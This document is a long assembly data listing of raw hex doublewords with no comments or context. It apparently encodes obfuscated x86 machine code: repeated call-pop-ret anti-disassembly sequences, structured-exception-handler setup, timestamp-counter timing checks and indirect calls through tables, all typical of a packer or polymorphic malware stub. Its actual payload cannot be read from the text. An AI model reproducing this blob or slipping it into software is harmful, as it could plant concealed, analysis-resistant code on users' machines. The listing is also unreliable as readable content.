		dd 60A666C3h, 8BFE3D8Fh, 610ED9Dh, 0D88B6606h, 0E5AE9h
		dd 0E800h, 815D0000h, 0A33F5EDh, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 96DF3A75h
		dd 1D1BCB85h, 158B0Fh, 10E90000h, 7F000000h, 0F7C22014h
		dd 4033D997h, 0AD6BDA67h, 8D4EFF4Eh, 98EE585h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 840F8Ch, 90000000h, 0DE9h, 0A8984300h, 1777E9CDh, 3C117408h
		dd 0F50B332h, 38Bh, 0FB8B6600h,	55006A90h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 89A04C69h
		dd 6173D8Dh, 35FF6406h,	0
		dd 58B0Fh, 7CBB0000h, 64405014h, 2589h,	6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 522CC7C3h, 8B4DF3D7h, 614E9BDh, 5D85FF06h, 0F06060Fh
		dd 0C88h, 7E900h, 62780000h, 4D2BC984h,	8BFF6A29h, 3DB5FFDFh
		dd 8B06062Dh, 61E51BDh,	0FD95FF06h, 0E9060612h,	0EEh, 0B0FE8Bh
		dd 369B509h, 810F0606h,	0
		dd 10E870E6h, 0A7000000h, 1D037227h, 0A48F515Eh, 35A14728h
		dd 5B0E901Dh, 0BD8B71E4h, 606144Dh, 830F613Ch, 0B6h, 0B60F20B3h
		dd 0A4E380C8h, 6BAh, 0D5BD8900h, 8B060633h, 218589C1h
		dd 0C1060620h, 66FC04E8h, 8166E2F7h, 66360DEBh,	0C82BDE8Bh
		dd 0A89CBF66h, 9D23D18Bh, 6060B85h, 5E9h, 47D3BB00h, 858B4B26h
		dd 6062935h, 0F099D8Bh,	0C0830606h, 0C08307h, 7D9D89FCh
		dd 3B06060Fh, 14830FD0h, 89000000h, 61C5DBDh, 48E906h
		dd 66600000h, 5CAAD981h, 8B6105B1h, 629558Dh, 73E9BF06h
		dd 0E183158Ah, 2B840F01h, 0E9000000h, 0Ah, 22D4C6CEh, 208DF821h
		dd 83FC2405h, 62955A5h,	0B70FFE06h, 359589F9h, 89060629h
		dd 62E8D85h, 0E906h, 0B58D0000h, 609BAB4h, 6AFE8B66h, 0DD958900h
		dd 0FF060623h, 61AC995h, 9D9D8B06h, 0B906061Dh,	7A0h, 13E9h
		dd 9BD56100h, 267693E5h, 0F9057F42h, 4B44CDC5h,	2ED4E2EBh
		dd 6AFCE183h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 19042444h, 41000000h, 35F5C351h, 2025D009h, 13840F60h
		dd 0E9000000h, 0Eh, 2AB12CFCh, 5E555DA9h, 0D5438399h, 5E9D275h
		dd 41000000h, 0AAB49343h, 14E961h, 9C080000h, 0D4D420B6h
		dd 3F731728h, 1D865197h, 0A5D089E3h, 6AFCF652h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 2CE3C350h, 310BE84Eh, 62C9DB5h, 0D3816606h, 0C02B4DE6h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 20C35646h
		dd 57E78C45h, 0BA60h, 0BD8B0000h, 6061C0Dh, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 2AC35242h, 55006AB5h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1404h,	0C3554500h, 0E5BD23B4h
		dd 0D06061Eh, 88h, 28DD958Bh, 880F0606h, 18h, 13E9h, 7F973D00h
		dd 0B3EFB340h, 0C068266Ch, 3B0C8314h, 0C12A1939h, 11118D8Bh
		dd 6A0606h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 752683C3h, 53321C65h, 50D88B66h, 188BC28Bh
		dd 188BC103h, 0E8D1C18Bh, 188BC203h, 50006A58h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 0B41ECF5Ch
		dd 6C7B49F7h, 4830F8Eh,	66000000h, 8A5AC8BFh, 0F5BD83F9h
		dd 6061Ah, 66840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 0CAF31EC3h, 26E344A5h
		dd 0B8FA8Bh, 0F9000000h, 0D28D8DF9h, 0E906064Eh, 9, 0EDB39E16h
		dd 958D37DEh, 6AE1FF76h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 4275C351h, 0CB21276Ch
		dd 849D9627h, 2E49BD83h, 0F000606h, 47784h, 619D0300h
		dd 83060624h, 62E49BDh,	840F0106h, 47Fh, 1385BD8Bh, 0BD830606h
		dd 6062E49h, 36860F03h,	6A000004h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 4A72C357h
		dd 0F6C6210h, 84h, 6A6000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0EF2097C3h, 0DC9F6FA6h
		dd 8D895AC6h, 60612C9h,	8BD98C66h, 4E180FEh, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 17C35646h, 0CE775A18h
		dd 0EE60BBF0h, 8E84DE7h, 0CE000000h, 27F11854h,	0E8EB9A6Ch
		dd 0Ah,	0E2554949h, 0D07B1D8Eh,	95315947h, 60628C5h, 0C90A5B5Bh
		dd 10A840Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 30318C3h, 54B0DEFCh, 0D381CDAAh
		dd 572271A9h, 2589858Bh, 6A0606h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 180424h, 51410000h, 6B2B7FC3h, 852966FCh
		dd 60631C9h, 34258533h,	13E80606h, 6D000000h, 3E8A83EAh
		dd 0E4C757B4h, 0C8AB97Bh, 0B3463410h, 9D8BFC95h, 6061161h
		dd 5250505Fh, 5DB3310Fh, 489585Ah, 57006A24h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0F25E4C3Fh
		dd 0BE803h, 2F6A0000h, 8E601FBAh, 27AD3AF3h, 8B0F98h, 5F000000h
		dd 0B12EC6BBh, 57006A09h, 768D685Fh, 34815D42h,	5D757224h
		dd 11E95Dh, 0E6530000h,	465C9112h, 0C45A02Bh, 9E8818D5h
		dd 0FFC15E4Dh, 6222195h, 81B50906h, 89060604h, 9A4A485h
		dd 5D8D8906h, 0E9060612h, 1E0h,	4626BF66h, 0A49C858Bh
		dd 6A0609h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h
		dd 55450000h, 0F9ED21C3h, 14E9h, 482BEE00h, 77B6ADA3h
		dd 0F4509BDAh, 0A818F5C8h, 13CEB84Dh, 1800C743h, 6A000000h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0A171C355h, 0F85F53Fh, 38Eh, 0D4C78000h
		dd 0A4A0B58Bh, 6A0609h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 582AA6C3h, 800Fh, 85890000h, 6062419h
		dd 2DA9858Bh, 6A0606h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0E5765C3h, 33C1BD8Bh, 860F0606h
		dd 6, 1101BD29h, 6890606h, 2CD9BD0Bh, 858B0606h, 6062589h
		dd 6A044689h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 0FE3DC356h, 7E9h, 8C41B300h, 0DC416323h
		dd 820F96h, 50000000h, 3820BF66h, 0A1BD8B96h, 0FF06061Eh
		dd 9A49CB5h, 57006A06h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1804h, 0C3574700h, 63B50D8Eh, 84256833h, 22BB1702h
		dd 813B358Ch, 87DA2434h, 8D89171Dh, 6062C19h, 0A4A4858Dh
		dd 6A0609h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 801F30C3h, 6690C5D3h, 6650FA8Bh, 905E3EBBh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0ACC35242h
		dd 0F0FB39Bh, 95FFD8B7h, 6062221h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Bh, 69C35545h, 0D45E569Fh, 664356BAh
		dd 415CC381h, 0C3816661h, 9D8BB7A2h, 6061EC1h, 2E4985C7h
		dd 30606h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 0ED6E17C3h, 29E12E6Bh, 617599Dh
		dd 0A4BD8306h, 609A4h, 5B840Fh,	13E90000h, 64000000h, 0C3C38A86h
		dd 397C15CAh, 591A7324h, 0BE6ED6AEh, 8C0F1E07h,	0Ch, 6830Fh
		dd 9D8B0000h, 6061545h,	47E9h, 50006A00h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1804h,	0C3504000h, 0B8783869h
		dd 1BD8B53h, 89060607h,	61099BDh, 0C305006h, 11440011h
		dd 10E8C101h, 2114430h,	3114C00h, 4E98358h, 36EBE775h
		dd 11043050h, 1116400h,	3010E8C1h, 21144h, 58031164h, 7504E983h
		dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
		dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0F3C35141h
		dd 9853C12h, 8B0FC480h,	6, 2DB19D8Bh, 6A0606h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 8F0F61C3h, 0
		dd 2E49BD83h, 0F030606h, 4C185h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 0F1EB9060h
		dd 92E761B0h, 0BD837D17h, 609A4A4h, 8F840F00h, 81000004h
		dd 0CDDC88CFh, 0A4B5FF26h, 0E90609A4h, 0Dh, 5A47FB3Ch
		dd 9E84391Ch, 0E8BB2611h, 7195FFEEh, 6A06060Dh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h
		dd 6B52C355h, 89F8F265h, 612D9B5h, 58F0F06h, 66000000h
		dd 306BF381h, 0A498B58Bh, 6A0609h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 0C7B671C3h, 1000106h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1C04h
		dd 0C3564600h, 30CCE76Bh, 1E502580h, 0E58D8977h, 5006062Ch
		dd 3489D88Bh, 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1604h, 0C3514100h, 0FFE51CC6h, 9A4A4B5h, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0E723F0D2h, 0DDEC6EB4h, 2E219589h, 8B660606h, 4995FFDEh
		dd 6A06061Eh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 0ACFEC355h, 0B316D5AAh, 98B58B3Bh
		dd 6A0609A4h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 74EC357h, 0D89853EEh, 5E9E8FFh
		dd 36000000h, 1C2C792Dh, 2FC5858Bh, 6A0606h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 150424h, 56460000h, 8914F7C3h
		dd 600598Dh, 0C4868906h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 8C11C350h
		dd 894FCF93h, 6144D85h,	0DD958B06h, 0E8060628h,	0Fh, 400BD282h
		dd 7ED432CFh, 3D62F336h, 29C526D3h, 626759Dh, 0C2835B06h
		dd 418D8904h, 8906060Eh, 0BD8B2050h, 6061621h, 0EE07F381h
		dd 858D0F56h, 609B775h,	1D8D0Fh, 11E80000h, 56000000h
		dd 7B9223EDh, 82423B1Fh, 1EE9C2EAh, 0BA451E2Eh,	10DBD89h
		dd 895F0606h, 0B886h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 74129B8Ch, 0B1E2D6BBh
		dd 6A006A1Bh, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 0A742C355h, 3125C354h,	0E9EB1290h
		dd 5, 0DD0F970Dh, 6595893Ch, 0FF060621h, 9A4A4B5h, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 573E7FD5h, 81B1E5A1h, 9D8B090Bh, 60621D1h, 2C1D95FFh
		dd 0FA8B0606h, 0EEBF5296h, 5B1CBAC8h, 0AE96050h, 87000000h
		dd 8291402Dh, 8EB2A3D7h, 9FACB8ADh, 9661132Ah, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 5FC35141h, 0FF3CF1BFh
		dd 9A4A4B5h, 6860F06h, 89000000h, 60FADB5h, 0A595FF06h
		dd 8906061Ch, 61ECDBDh,	99BD8306h, 6061Ch, 21840Fh, 850F0000h
		dd 3, 96D98B66h, 505054B7h, 2820F52h, 60000000h, 5A310F61h
		dd 53BF9658h, 0FF1C6FDFh, 9A4A4B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0E82CE50Ah
		dd 6060CA69h, 0AE9h, 0F6D7BF00h, 6B231420h, 8BF971D4h
		dd 10BB61DAh, 61327748h, 1FFD95FFh, 6A0606h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 5388B3C3h
		dd 95D85EB2h, 0A4B5FF93h, 0E80609A4h, 12h, 3C2F7CC3h, 1A681030h
		dd 65C956C0h, 0DD44DF78h, 0BD333153h, 6061ED9h,	1995FF5Bh
		dd 8906062Bh, 610358Dh,	65BD8306h, 206062Fh, 85840Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 363CF5C3h, 13E815F1h, 0BC000000h, 34078410h,	0A33BEE3Fh
		dd 20698E36h, 11A38CC1h, 0C38115B1h, 66D346A1h,	0F1858B5Bh
		dd 6A060615h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 0F8BDC350h, 0BD8BA839h, 606160Dh
		dd 31399D8Bh, 7E90606h,	72000000h, 0D4095170h, 0C6300Fh
		dd 0C59D8B00h, 0C7060628h, 6034D85h, 6,	55006A00h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 90A4B758h, 0BB6627B7h, 0CEE9875Fh, 0E9FFFFF2h, 9, 0D0CE97F6h
		dd 0CE3EC430h, 0FC18BF9h, 683h,	0D1BD2900h, 8D060624h
		dd 6236985h, 55006A06h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1B04h, 0C3554500h, 0F6F4A6F2h, 30D0CE97h, 8B6650F9h
		dd 240489F8h, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h
		dd 1Dh,	74C35646h, 427F89A8h, 0AF3E079Eh, 68D0FFFh, 29000000h
		dd 61AE1BDh, 80006A06h,	6A43EFh, 0E855006Ah, 3,	5DC35D20h
		dd 4246C89h, 4244481h, 17h, 0D0C35545h,	0F28EDEDh, 38Dh
		dd 0FAB70F00h, 447B858Dh, 6A060Ah, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 6B91DBC3h, 85C5392h
		dd 8B826083h, 6033DBDh,	5C08306h, 0DE9FCh, 92670000h, 0ACBA8A97h
		dd 0A692826h, 504C790Dh, 489A4B7h, 56006A24h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 406D8C0Bh
		dd 0D820FD1h, 53000000h, 5E8h, 8D7A9200h, 5F5F331Ah, 6ADF8Bh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 3C35040h
		dd 0AC0A2EB2h, 953D8496h, 15B529A6h, 6A06061Eh,	54EF8100h
		dd 0FF0A2517h, 62F9D95h, 0BF666006h, 11BFEBBBh,	61038917h
		dd 13E9h, 0F0CAD400h, 8ECD974Bh, 0FFCFC336h, 0F9650019h
		dd 0EB196865h, 95158D8Dh, 6A0609h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 170424h, 50400000h, 0AFABC5C3h, 11E962h
		dd 92B00000h, 0B7D7363Ah, 0B4A762ADh, 0BC2D8BAEh, 0FFD17D79h
		dd 57006AD1h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 28E81EAh, 48334170h, 3B6CD381h, 0BB665917h
		dd 0BD83DD0Dh, 6061D3Dh, 49850F01h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 0E5CEC357h, 51A59968h, 14BB66E4h, 6AF88A2Eh,	6DBD2902h
		dd 0F06060Dh, 18Dh, 8B50F900h, 240489F8h, 2CED9D8Bh, 95FF0606h
		dd 6062C1Dh, 0D7FE9h, 0E800h, 815D0000h, 0A4485EDh, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1804h, 0C3534300h
		dd 0B5DC4400h, 50006ABCh, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 80081AA0h, 0BF0FB4D3h
		dd 0E5858DFEh, 0BB06098Eh, 3E14FF41h, 0E8525090h, 10h
		dd 0AC87392h, 4B762E26h, 0FC7306EDh, 129DEC2Eh,	0F5F5F51h
		dd 50585A31h, 38B0Fh, 8B660000h, 8C0F90DFh, 6, 25759D8Bh
		dd 0FF640606h, 35h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0E471F77h, 0C576C0FAh
		dd 258964h, 81000000h, 0E01C35CBh, 5D85FF0Ah, 6A06060Fh
		dd 3E85300h, 20000000h,	895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 4E15C353h, 1274B3F7h
		dd 0F9BF0F47h, 0BF0FFF6Ah, 0DA8B66FEh, 25EDB5FFh, 0F3800606h
		dd 0B9BD8BC0h, 0FF06062Fh, 612FD95h, 102E906h, 0B70F0000h
		dd 6600B0FBh, 46B9CB81h, 0B58970E6h, 6060FF1h, 8E971E4h
		dd 0FB000000h, 0E2E4105Ch, 3CD2F207h, 0D9830F61h, 0BF000000h
		dd 33B44149h, 0FC8B60Fh, 187h, 6BAF800h, 56000000h, 81C18B5Bh
		dd 0BB6525EBh, 4E8C14Fh, 6E8h, 0D5A73900h, 8B2D5E41h, 615EDBDh
		dd 0F7665F06h, 2BD88BE2h, 94BF66C8h, 0E8D18BCAh, 10h, 6BC0E5B6h
		dd 0CA423373h, 746C491Eh, 336CEA5h, 991BF66h, 5E9F55Bh
		dd 0BF000000h, 3CF6BC3Ch, 27A1858Bh, 83F50606h,	0C08307C0h
		dd 0FE900h, 3B650000h, 0F2D74BB0h, 0EAB1EC02h, 0D88C085Fh
		dd 0FD03B03h, 0E83h, 17AFBB00h,	41E957CCh, 60000000h, 8B61D38Bh
		dd 621718Dh, 0E183F506h, 2D840F01h, 89000000h, 6268195h
		dd 0D5BD2B06h, 8306062Fh, 62171A5h, 9589FE06h, 6062359h
		dd 89EEDF80h, 627A195h,	5FEB8106h, 0E962759Bh, 0
		dd 0C42BB58Dh, 0E7810609h, 2C8282D2h, 6A006Ah, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
		dd 0F81EFC3h, 0C80h, 6810F00h, 8B000000h, 62255BDh, 0C995FF06h
		dd 0FC06061Ah, 0DA4B9h,	56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1A04h, 0C3564600h, 3988E994h, 83A69C18h
		dd 6AFCE1h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
		dd 52420000h, 0E4F05DC3h, 52006AFCh, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 73ABE989h
		dd 4E781F3h, 2B75CCB8h,	52006AC0h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 665A87ECh, 0D22BDE8Bh
		dd 2211BD8Bh, 33AD0606h, 3E8D1C2h, 4E983D0h, 8A0FF475h
		dd 4, 2D53BB66h, 25F19D29h, 6A0606h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0D267C8C3h
		dd 89617AFEh, 8950FF96h, 625999Dh, 8B0F5F06h, 3, 0DFE8B66h
		dd 88h,	31C1BD8Bh, 958B0606h, 60628DDh,	0E853006Ah, 3
		dd 5BC35B20h, 4245C89h,	4244481h, 19h, 0B6C35343h, 21C14FC3h
		dd 118D8BDDh, 6A060611h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 9CAC351h, 1AF093FFh
		dd 8D319338h, 60606CDh,	3F4763BFh, 0C28B5026h, 0C103188Bh
		dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 0D09FC356h
		dd 0A0988BFBh, 9D0BCA68h, 6061C35h, 514882BFh, 53006A7Ch
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 3B5BEAD5h, 0F8B9E9Eh, 0BD83D9BFh, 6061AF5h, 5F840F00h
		dd 0BB000000h, 55819Fh,	0B8h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 77BC0343h
		dd 0DAF3F381h, 8D8D49DDh, 6064ED2h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 0C0C35747h,	0BB66DF1Ch, 0E1FF3789h
		dd 23F19D89h, 0BD830606h, 6062E49h, 13840F00h, 8B000004h
		dd 6076DBDh, 49BD8306h,	106062Eh, 41B840Fh, 0BB660000h
		dd 0BD839BA7h, 6062E49h, 0D4860F03h, 66000003h,	6D7ACB81h
		dd 23659D0Bh, 8B600606h, 61CB5BDh, 0D98C6606h, 80D8B70Fh
		dd 0FDBF04E1h, 0A00093Fh, 60840FC9h, 6A000001h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 8B8AC356h, 6258985h,	55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 0E06F61A8h, 332AA481h
		dd 6342585h, 53006A06h,	3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 1DA19FAAh, 0E90059E4h, 11h, 3988E994h
		dd 0CEA69C18h, 80859DF1h, 0A706D960h, 0FA8B9098h, 0BF6050h
		dd 66323C7Ah, 61AF00B8h, 51006A90h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 5B778DD9h, 5968006Ah
		dd 600F7E05h, 0EFBDBF66h, 594CB653h, 24348161h,	0F6106A6h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 8FC35545h
		dd 3C91721Dh, 2623E1B2h, 1AC59D89h, 0BF0F0606h,	2195FFDBh
		dd 8B060622h, 61065BDh,	0A4858906h, 6A0609A4h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
		dd 7227C356h, 515E1D03h, 4728A48Fh, 0FAB70F56h,	1DAE95Bh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h
		dd 57470000h, 5B9AFCC3h, 981C6B0Bh, 55BF665Bh, 8B5B5675h
		dd 9A49C85h, 52006A06h,	3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 0D84B634Dh, 64DFD878h, 0C7EA21h
		dd 18h,	0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh
		dd 0E0C35747h, 0D61BEE5Fh, 31263751h, 0A99D8B53h, 8B060613h
		dd 9A4A0B5h, 2D9D8906h,	8B06062Fh, 62DA985h, 0B1958906h
		dd 8906062Dh, 8B62B306h, 6258985h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0CF811B9Ch
		dd 5240A0F6h, 6A044689h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 2C1EC350h, 0F8D7217Bh
		dd 0BD29AE73h, 60611ADh, 0EE8h,	3BD3A000h, 31C26256h, 4EBED7B7h
		dd 5F321B8Ah, 50DE8B96h, 0D1BD8B96h, 0FF060631h, 9A49CB5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 92921D5h, 810FE19Ch, 3, 68F88B66h, 0F34070CBh
		dd 0A0B86660h, 61F18B95h, 34240481h, 890CDE93h,	60781B5h
		dd 0A4858D06h, 6A0609A4h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 8981C356h, 603C5BDh
		dd 0BF665006h, 4898CD6h, 51006A24h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 72879432h, 840Fh, 95FF0000h
		dd 6062221h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0F1C35343h, 8C0C4637h, 56006A61h, 3E8h,	0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 85C7BE84h
		dd 6062E49h, 3,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	0CDC35545h, 9D8B9CEBh, 6061525h, 0A4A4BD83h, 0F000609h
		dd 4284h, 0CE800h, 0BEB90000h, 3AEDF738h, 662D25E7h, 5BF52756h
		dd 45E9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 2E14FDF0h, 0FE24FEF4h, 819D8BD4h
		dd 50060622h, 110C30h, 0C1011144h, 443010E8h, 4C000211h
		dd 83580311h, 0E77504E9h, 305036EBh, 64001104h,	0E8C10111h
		dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh
		dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h
		dd 0EBE775h, 8B0FC08Bh,	6, 23EDBD8Bh, 0B70F0606h, 49BD83D8h
		dd 306062Eh, 451850Fh, 6A0000h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 0BCB8BBC3h, 9C3FB2DAh
		dd 8FBB8A5Fh, 0E827E8F5h, 6, 6D813BF4h,	0CEBB1223h, 5B4EE5ACh
		dd 0A4A4BD83h, 0F000609h, 40A84h, 0AD7BBF00h, 0BD8B4647h
		dd 60612F1h, 0A4A4B5FFh, 0BF0F0609h, 0E0BB66DAh, 7195FF3Ch
		dd 6A06060Dh, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 18042444h, 42000000h, 7BDDC352h, 29D5FC90h, 62A9DB5h
		dd 69BD8B06h, 8B06062Ch, 9A498B5h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1404h,	0C3524200h, 6D858902h
		dd 0C7060628h, 1000106h, 0F3816600h, 8B50F859h,	243489FBh
		dd 2711BD09h, 0B5FF0606h, 609A4A4h, 66F88B66h, 0FF877FBFh
		dd 61E4995h, 870F6006h,	6, 17BD9589h, 0D38B0606h, 98B58B61h
		dd 0E90609A4h, 12h, 2B776E2h, 4D287ABFh, 64971C38h, 7E849999h
		dd 858BA166h, 6062FC5h,	1351BD03h, 66600606h, 0BD89F98Bh
		dd 606293Dh
		dd 0C4868961h, 0F9000000h, 28DD958Bh, 0E9FC0606h, 0Ah
		dd 52CEC921h, 0E85AFB51h, 0C283DB57h, 50006A04h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
		dd 1276D73Fh, 0E381FD41h, 2BF381BCh, 0CE9h, 0ED71A000h
		dd 906C25C4h, 5E077E87h, 2050899Bh, 1D799529h, 81660606h
		dd 8DD580E7h, 9B77585h,	52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 0ABE8EEh, 893577C7h, 0B886h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1B04h
		dd 0C3574700h, 0CC9A6FBBh, 0EF6614F5h, 6A31B7h,	0FE8h
		dd 0B6882000h, 53093624h, 0FCA02CBDh, 0C007E045h, 4119D8Bh
		dd 0FF5B0606h, 9A4A4B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1604h, 0C3524200h, 89253B18h, 60D59BDh, 0F9BB6606h
		dd 1D95FF27h, 6A06062Ch, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 6599C357h, 0BBE27CC8h
		dd 4F225A68h, 6860Fh, 0BD030000h, 6061DE5h, 0A539BB96h
		dd 66505C49h, 96F70BBBh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 2FC35747h, 0F2E5D8CEh, 8BC31278h, 0A4A4B5FFh
		dd 6A0609h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1D0424h
